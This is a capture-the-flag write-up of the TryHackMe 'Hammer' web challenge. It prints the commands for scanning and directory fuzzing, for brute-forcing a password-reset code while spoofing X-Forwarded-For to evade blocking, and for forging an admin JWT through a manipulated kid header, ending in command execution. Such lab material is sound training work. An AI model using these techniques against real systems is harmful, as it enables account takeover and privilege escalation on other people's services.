Back to writeups

Hammer Web Challenge — TryHackMe

web reconnaissance directory fuzzing otp brute force jwt privilege escalation rce

TL;DR

The Hammer web application exposed multiple weaknesses that could be chained together to fully compromise the challenge. Initial reconnaissance revealed a password reset page, an exposed phpMyAdmin instance and a developer note in the source code disclosing the naming convention for hidden directories.

By fuzzing for directories using the hmr_ prefix, an exposed log directory was discovered. The error logs revealed the email address tester@hammer.thm, which was then used in the password recovery workflow. The recovery OTP was brute-forced by rotating the X-Forwarded-For header to bypass request blocking, which allowed access to the first flag.

After logging in, the application exposed a command-like interface that allowed directory inspection. A suspicious .key file was discovered and downloaded. Analysis of the JWT used for authentication showed that the kid header could be manipulated to reference this signing key. By modifying the token payload, changing the role from user to admin, and re-signing the token with the retrieved key, administrative access was obtained. This allowed command execution and retrieval of the final flag from /home/ubuntu/flag.txt.

Challenge Overview

The target was the Hammer web challenge hosted on a custom web service running on port 1337.

The application initially presented a login interface.

Hammer challenge login interface

Network Reconnaissance

I started by scanning the target to identify exposed services.

sudo nmap -Pn -sS -sV -p- 10.64.150.129
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan revealed two relevant services:

  • 22/tcp — OpenSSH 8.2p1.
  • 1337/tcp — Apache HTTP server hosting the challenge web application.

Since the web application was running on port 1337, the next step was to enumerate directories and files exposed by the server.

Directory and File Discovery

I used Gobuster to enumerate accessible files and directories on the web server.

gobuster dir -u http://10.64.150.129:1337 -w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,js,html -t 30 --timeout 20s --delay 50ms
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/config.php           (Status: 200) [Size: 0]
/javascript           (Status: 301) [Size: 326] [--> http://10.64.150.129:1337/javascript/]
/index.php            (Status: 200) [Size: 1326]
/phpmyadmin           (Status: 301) [Size: 326] [--> http://10.64.150.129:1337/phpmyadmin/]
/dashboard.php        (Status: 302) [Size: 0] [--> logout.php]
/vendor               (Status: 301) [Size: 322] [--> http://10.64.150.129:1337/vendor/]
/server-status        (Status: 403) [Size: 280]
/reset_password.php   (Status: 200) [Size: 1664]

This enumeration identified several interesting resources:

  • reset_password.php — password reset functionality.
  • config.php — accessible but returning no visible content.
  • phpmyadmin/ — an exposed phpMyAdmin instance.
  • vendor/ and javascript/ — supporting application directories.

Developer Note and Hidden Directory Enumeration

While inspecting the page source, I found a useful developer note:

<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->
Developer note in source code revealing directory naming convention

This suggested that hidden directories followed a predictable naming convention starting with hmr_. I used FFUF to fuzz for directory names matching this prefix.

ffuf -u http://10.64.150.129:1337/hmr_FUZZ \
  -H "Cookie: PHPSESSID=3t4bci6mgo1aoqg9jqb7q89o0m" \
  -w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403
images                  [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 121ms]
js                      [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 122ms]
logs                    [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 120ms]
css                     [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 4584ms]

Among the results, the most interesting discovery was hmr_logs/.

Discovered hmr_logs directory

Information Disclosure Through the Error Logs

The hmr_logs directory contained an error.logs file. Inspecting this log provided useful application information.

Error log file exposing authentication-related information

One of the authentication error entries referenced the email address tester@hammer.thm. This gave me a valid account identifier to use in the password reset workflow.

Password Reset OTP Brute Force

With a valid email address identified, I moved to the password recovery functionality. The idea was to brute-force the four-digit OTP while bypassing any rate-limiting or blocking by rotating the source IP through the X-Forwarded-For header.

First, I generated a wordlist containing all possible four-digit recovery codes.

seq -f "%04g" 0 9999 > codes.txt

Then I generated a list of random loopback-like IPs to rotate during the attack.

python3 -c 'import random; print("\n".join(f"127.0.{random.randint(0,255)}.{random.randint(0,255)}" for _ in range(10000)))' > random_ips.txt

Finally, I used FFUF in pitchfork mode to brute-force the OTP and rotate the spoofed IP address on each request.

ffuf -u http://10.66.182.221:1337/reset_password.php -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: PHPSESSID=qq5ck4ak82eqr1t10339hmi9jb" \
  -H "X-Forwarded-For: IPFUZZ" \
  -d "recovery_code=FUZZ&s=180" \
  -w codes.txt:FUZZ \
  -w random_ips.txt:IPFUZZ \
  -mode pitchfork \
  -t 50 \
  -fr "Invalid or expired recovery code!"
[Status: 200, Size: 2191, Words: 595, Lines: 53, Duration: 138ms]
* FUZZ: 5005
* IPFUZZ: 127.0.160.5

The valid recovery code was 5005. After submitting the correct OTP, I was able to set a new password for the account and log into the application.

Logged into Hammer application and obtained first flag

Successful authentication revealed the first flag.

Authenticated Functionality and Command Interface

Once logged in, the interface exposed a search bar that behaved like a command execution wrapper. Testing with the ls command returned a directory listing.

Interface showing command execution with ls

Among the listed files, one file in particular stood out: 188ade1.key. Since the application used JWTs for session handling, this file looked like a potential signing key.

I downloaded the file and inspected its contents.

wget http://10.66.182.221:1337/188ade1.key
cat 188ade1.key
56058354efb3daa97ebab00fabd7a7d7

This appeared to be a symmetric signing key, which could potentially be used to forge or re-sign session tokens.

JWT Analysis and Token Manipulation

The next step was to inspect the authenticated request to execute_command.php. I sent the request to Burp Repeater and noticed a parameter called persistentSession, which I changed to yes to ensure the JWT was reusable during testing.

Burp Repeater request to execute_command.php

After decoding the JWT, the token contained the following information:

Header
{
  "typ": "JWT",
  "alg": "HS256",
  "kid": "/var/www/mykey.key"
}

Payload
{
  "iss": "http://hammer.thm",
  "aud": "http://hammer.thm",
  "iat": 1785878515,
  "exp": 1785882115,
  "data": {
    "user_id": 1,
    "email": "tester@hammer.thm",
    "role": "user"
  }
}

The kid header was especially interesting because it appeared to point to a file path on the server. This suggested that the application might read the signing key from an arbitrary location based on the kid value.

Since the file /var/www/html/188ade1.key had already been discovered and downloaded, I modified the JWT header to reference that path directly and changed the payload role from user to admin.

Modified JWT with updated kid and admin role

I then created a new symmetric key in Burp / JWT tooling and re-signed the token using the value retrieved from the .key file.

Creating symmetric key to re-sign modified JWT

Privilege Escalation to Administrator

After replacing the original token with the modified and re-signed JWT, the server accepted the new token and granted administrative privileges.

Administrator access confirmed after JWT manipulation

This confirmed that:

  • The application trusted the user-controlled kid header.
  • The JWT was signed using a predictable server-side key that was accessible through the web application.
  • Changing the role claim to admin was sufficient to escalate privileges.

Retrieving the Final Flag

With administrative access, I could now use the command execution functionality with elevated privileges. I used it to read the contents of the final flag file.

cat /home/ubuntu/flag.txt
Final flag obtained by reading /home/ubuntu/flag.txt

The command returned the second and final flag, completing the challenge.

Attack Chain

  1. Enumerated the target and identified SSH and a web application on port 1337.
  2. Used Gobuster to discover relevant endpoints such as reset_password.php and phpmyadmin/.
  3. Inspected the source code and identified the hidden directory naming convention hmr_*.
  4. Used FFUF to enumerate hidden directories and discovered hmr_logs/.
  5. Read error.logs and extracted the valid email tester@hammer.thm.
  6. Brute-forced the OTP in the password recovery workflow while rotating X-Forwarded-For to bypass blocking.
  7. Reset the tester account password, logged in and obtained the first flag.
  8. Used the authenticated command interface to discover and download 188ade1.key.
  9. Decoded the session JWT, modified the kid header and changed the role claim to admin.
  10. Re-signed the token using the disclosed symmetric key and escalated privileges.
  11. Executed cat /home/ubuntu/flag.txt as administrator and obtained the final flag.